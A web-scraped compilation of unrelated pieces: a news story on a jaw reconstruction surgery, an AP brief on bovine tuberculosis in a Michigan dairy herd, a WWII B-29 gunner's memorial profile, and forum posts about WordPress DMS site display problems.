"Something like this, it makes us realize there are other people living in situations that are so difficult, and makes us so thankful for what we have," Berger said.
Rebuilding the young man's jaw is the first step in the process, and doctors worked Wednesday with a three-dimensional computer model of Makwera's mouth to plan their work.
Using templates created from the virtual computer model, Dr. James Chao, a vascular plastic surgeon, will remove the middle section of Makwera's left fibula and make strategic mitered cuts to allow him to bend the bone into a rounded shape that traces the line where his natural jaw would be. Chao said he must do his work without breaking blood vessels as thin as a pen stroke.
After Berger installs the bone in the correct spot, Chao must patch those vessels into the patient's existing vascular system using a microscope and sutures one fifth the diameter of a human hair, to allow blood to flow to the bone and keep it alive.
Chao said it is not necessary to replace the harvested fibula with any type of prosthesis as long as enough material is left near the knee and ankle to keep those joints stable. The much larger tibia, he said, is enough to allow patients to walk, run and play sports once fully recovered from surgery.
Two plastic surgeons, Dr. Thomas Vecchione and Dr. Randall Vecchione have donated their time to repair the skin and other soft tissue around Makwera's mouth. Two additional physicians, Dr. Ben Javid and Dr. Ian Aires, will work to craft a set of temporary teeth, which will allow chewing while the rest of the work heals enough for permanent implants to be installed.
After sitting through Wednesday's virtual surgery, Makwera had a simple wish.
"I just want everything to go well … everything to work out … that's all," he said.

ALPENA, Mich. (AP) — Officials say a dairy cattle herd in the northeastern Lower Peninsula has tested positive for bovine tuberculosis.
The Michigan Department of Agriculture and Rural Development said Thursday the disease was found on an Alpena County farm with 50 to 100 cattle. The diagnosis was confirmed after routine testing by the state agency and the U.S. Department of Agriculture.
A public meeting to discuss the findings is planned for Jan. 10 at Wilson Township Hall.
Bovine TB is a contagious bacterial disease. All of Michigan's 14,000 cattle farms have been tested since an outbreak began in the mid-1990s. Bovine TB has been found on 55 of them.
Most of the state is designated as free of the disease, but 11 counties are considered at higher risk and require additional cattle testing.

Domenic C. DiCamillo
10 Feb 1945 — Tinian, Mariana Islands
Enlisted in the Army Air Corps on 30 January 1943 at Cleveland, Ohio. He received training as an Aerial Gunner, and was subsequently assigned to the 504th Bombardment Group (Very Heavy) for advanced training with B-29 aircraft at Fairmont Army Air Field near Geneva, Nebraska.
On 23 December 1944, the 504th BG deployed to the Pacific Theater of Operations. CPL DiCamillo was assigned to the 20th Air Force, XXI Bomber Command, 313th Bombardment Wing, 504th Bombardment Group (VH), 398th Bomb Squadron; being stationed at North Field, on Tinian in the Mariana Islands.
They deployed from Mather Field, Sacramento, California, which was the aerial port of embarkation, to John Rodgers Field on Oahu in the Hawaiian Islands (a 10-hour flight, some 2,460 miles). The next leg to Kwajalein Atoll in the Marshall Islands was about as long a flight (2,100 miles). Kwajalein to Tinian was a shorter flight (approximately 1,550 miles).
In January 1945, the 504th BG began combat operations from Tinian with attacks on Japanese airfields and other installations on Maug and Iwo Jima and in the Truk Islands.
On 4 February 1945, the 504th BG flew its first mission against the Japanese home islands when the group bombed the industrial area of Kobe, Japan (20th AF Mission #26, code named: Middleman #1). These were 15-hour sorties (approximately 2,950 miles round-trip).
On 10 February 1945, he flew as an aerial gunner in the left scanner blister station aboard a Boeing B-29 Superfortress (serial #42-24790). 504th BG aircraft were also identified by an "E" inside a "Circle" painted on the tail. It was one of 120 aircraft launched in a multi-wing group formation to bombard the Nakajima Aircraft Assembly Plant at Ota on the northwest side of Tokyo, Japan.
While over the target area, the Group was attacked by a band of Nakajima KI-44 single-engine 'Tojo' fighter planes. His B-29 aircraft suffered heavy damage to one of the wings, and on the return route home was forced to ditch approximately 275 miles north of Tinian, near Pagan Island.
Last contact was by an air-sea radio call at an approximate geographic location of: 19 degrees 9 minutes North, 145 degrees 18 minutes East. The pilot had previously expressed an opinion that the plane could make it back to the base OK. Although not an eye-witness, one of the other returning B-29 aircraft did report hearing a large explosion in the vicinity. Approximate time would have been about 22:18 PM. Weather was reported as solid overcast above a 1200-foot ceiling. An immediate air-sea rescue search of the area failed to reveal any trace of the aircraft or crew members.
The aircrew was initially listed as missing in action (MIA). Their status was changed from MIA to Killed In Action (KIA) one year later on 11 Feb 1946. The aircrew is remembered on the Tablets of the Missing, Honolulu Memorial Cemetery, Hawaii

Hi there,
I've got an issue with 3 websites built with DMS since I migrated them from http to https that I need help with please.
When any changes are made - e.g. new posts added or existing posts amended - certain sections of the live site seem to break e.g. image headers hang and don't load (b/g on canvas section), sliders hang and don't load (Revslider), flipper section doesn't load.
Logging in and then clicking 'Edit the site using DMS' seems to fix the problem. Often if I try to open up another browser window to edit the site / re publish I'm unable to as the page wont load / hangs while trying to load.
Any ideas how to fix this? On a couple of the sites I've installed a caching plugin as I thought it might be a loading speed issue but it's still happening.
Website URL's can be provided privately.
Many thanks in advance.

I found this topic
which talks about a similar issue I am having, but a little different. Hope someone can help me out.
Best way to see the problem is to view http://cassclayton.com/ on Safari (Mac) compared to Firefox or Chrome. You will see the banner just under the fixed menubar has a gap between the menubar and top of the banner. Looking at Inspector, I found:

and indeed it seems the jquery is not always working consistently. For instance, if you simply refresh the page in Safari, it will loose the gap and all looks fine, so is it a browser cache issue that is interacting with the jquery? I do have W3 Total Cache installed. There must be a way to tell the code to make sure jquery is up and running and available to do it's majic?
And perhaps there is just a better way to do this banner? Originally I tried several DMS sections and used the banner image as background, etc... Kept running into problems with resizing and the left/right parts of the image were getting chopped off. It is important the whole image show, so currently I just use a NextBox section with this code:

and it looks the way it should. Is there a better way to place a banner graphic under a fixed navbar and make sure the whole banner graphic displays regardless of screensize?
